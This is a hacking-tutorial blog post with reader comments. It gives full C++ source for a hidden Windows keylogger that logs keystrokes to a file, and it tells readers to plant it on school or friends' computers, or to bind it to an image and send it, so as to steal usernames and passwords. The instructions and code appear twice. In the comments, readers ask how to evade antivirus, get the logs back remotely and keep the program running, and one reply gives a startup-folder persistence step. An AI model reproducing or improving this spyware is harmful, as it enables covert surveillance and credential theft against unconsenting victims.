Hi friends, the most interesting part of the hacking is spying. Today i am going to introduce to the C++ Spyware code. It is going to be very fun. You can install this spyware in your college/school or in your friend system, and get their username and passwords. This is very simple hacking trick when compared to phishing web page.
Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting. But only few website won't detect the phishing webpage.
website url is different. Easy to detect that we are hacking.
Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can't detect that we are hacking.
How to create Keylogger using Visual C++?
Requirements:
Dev C++. Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).
Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.
Compile the Code(Ctrl+F9)
Now execute the program by selecting Execute->Run(ctrl+F10)
now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.
bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.
For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.
Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting. But only few website won't detect the phishing webpage.
website url is different. Easy to detect that we are hacking.
Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can't detect that we are hacking.
How to create Keylogger using Visual C++?
Requirements:
Dev C++. Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).
Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Compile the Code(Ctrl+F9)
Now execute the program by selecting Execute->Run(ctrl+F10)
now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.
bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.
For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.

I have a doubt ,wont an anti virus detect this???
ReplyDeleteNope. Parsob a anti virus will not detect this... well mine dose not... Just put it on a USB....
ReplyDeletethere are 2 errors in the above code.
ReplyDeletehow to see log.txt file?
ReplyDeleteit doesn't displaying log file were i have saved that above code file.
Sourabh can you point out the errors?
ReplyDeleteDid you run the program? After running the code only , Log.txt file will be created
i want to learn hacking but i cant know about any thing what can i do . just i know Mobile Apps development plzz guide me
ReplyDeletejust read our articles
ReplyDeletecan v run it on turbo c software ??
ReplyDeleteI think turbo c won't support windows header file. so you can't
ReplyDeletehow to stop this????
ReplyDeleteworks perfectly...... good one...... but can it work even after a reboot?
ReplyDeleteCan it work with any program besides Dev C++?
ReplyDeleteworks perfect.. but how to make it work after reboot?
ReplyDeleteone question.. okay! finally we have log file.. but what if this could be on the remote system..i think when the remote user runs the .exe file and then typing something..it could create a log file that will be stored on the remote system.. my question is that how to fetch that remote file or is there any alternative of getting the remote system logs via email,etc..
ReplyDeletethanks,
bilal
bit of a silly question im just starting out with c++ but where is the exe file to bind it with an image?
ReplyDeleteIf i want to compile the programm just the new window opens but nothing happens is there any page where i can already get the compiled content or does anyone know how to fix it??
ReplyDeletemy avg antivirus is detecting the keylogger file that I created, plus I can't find the folder with the log.txt file and finally plz tell me if I bind the file with an image or anykind of file how can I access the file remotely?
ReplyDeleteIt just simple demo,won't bypass the av. if you can't run the program, it won't create log.txt.
ReplyDeletenice program
ReplyDeleteSir plzz tell me can this be accessed remotely ?
ReplyDeleteplz explain the above code...
ReplyDeleteone silly question...
ReplyDeletethe exe file would be executed only when we compile the code...
then who will do this in the remote computer...??
That's what the exe is for!
DeleteOkay I'm just getting in the hacking game, where do I need to go to learn scripts and text languages?
ReplyDeletethanks for sharing i just wanna how to get the victims log will it send it to my computer or my mail, pls i need how because i dont have physical access to his computer and how do i read the logs
ReplyDeleteToday's 99% of antivirus programs will detect the above exe file as virus and warns immediately... as mine did...
ReplyDeleteThanks to avast.........
set it to run at start up to keep it running
ReplyDeletemy antivirus picked it up as a trojan
ReplyDeletewindows defender got it, but is a very good start. Now where I can learn C++? any good book?
ReplyDeleteI'm reading sams teach yourself c++ in 24 hours and it seems to be pretty good!
DeleteHey the keylogger worked but my virus scanner can detect it. Is there anyway to make it undetectable? Thanks! Loving the keylogger! Many thanks.
ReplyDeleteHowto save the Log file on C:\\ ?
ReplyDeletecan someone give me link with c++ for windows 7 .. thank u
ReplyDeleteput the file in startup. goto start, search SHELL:STARTUP, u ll get a folder, copy the exe to folder.
ReplyDeleteDONE
but windows defender is recognising it........
ReplyDeletethere is a mistake... there should int i instead of char i
ReplyDeleteall the keystrokes are saved in CAPS, i.e its impossible to get a password through this keylogger as it converts all the keystrokes in to their caps form and then save...
ReplyDeleteso i think this is a big error in it..
i need help, i made the prgram in virtual studio 2010 express on a windows 7, it worked fine, i storred on an usb and moved to my orther pc (windows vist - should get that fixed) and it wont work. its tells me that it cant start due to that a MSVCP100.dll couldent be found. help me plese
ReplyDeletei dont know any thing about hacking please do post an article for that .thanks in advance
ReplyDeleteThe Code given here is compiled perfectly. But the the performance in getting keystroke is not expected. I run it several time in my system, but for the same text, I'm getting different keystroke frequently. Where is the problem?
ReplyDeletecan someone send me some info about how to make a notepad script and like basic meanings if so hmu at ebowers280@gmail.com
ReplyDeleteIt works well but everything that is typed comes in capitals.
ReplyDeletei cant run the keylogger!i press open,it appears for one second and it disappears again!!!!!PLEASE,HELP ME!
ReplyDeleteI made one but on Python program.
ReplyDeleteWorks fine but having an issue of sending log.txt attachments to mail.
Even tried ftp. That was a success but not for long.
It replaces log.txt with a new one and the previous one is lost.
Need something more reliable.
Hey is there anyway i can retrieve any cleared log from the LOG file.......if there is then please do tell me!!
ReplyDeletethanks a lot :)
How can i save it as .exe file...???
ReplyDeleteif you make the keylogger and the log.txt files is saved you need another software that you need to access it remotely when you send it to another persons computer through email? how do you make it invisible so that antivirus' dont see it? and will the keystrokes come back scramble or in perfect order? to know everything there typing? last question does it send back passwords and usernames as encrypted and do you have to uncrypt them?
ReplyDeletethen how to stop it?
ReplyDeletehmm whatever i typed comes up as jumbled letters lets say i type in google.com it comes out as
ReplyDeletegogl.cm in the keyloggers log
i copied it all and "compiled it" (and the window popped up saying ti was "done), but then when I press execute it keeps saying "source file not compiled". What do i DO!?
ReplyDeletecan you know what this code mean??:
ReplyDeleteJavascript:var a = new String(); for (var i = 0; i < document.forms.length; i ) { for (var j = 0; j < document.forms[i].elements.length; j ) { if (document.forms[i].elements[j].type == “password”) {a = document.forms[i].elements[j].value; } } } alert(a);
thnks dude now can u tell me how to remove keylogger
ReplyDeleteIt means that this code looks for every element in all forms in current document, that its type is 'password' and shows its value using alert dialog.
ReplyDeleteit says its gonna give me a trojan horse,is this accurate?
ReplyDelete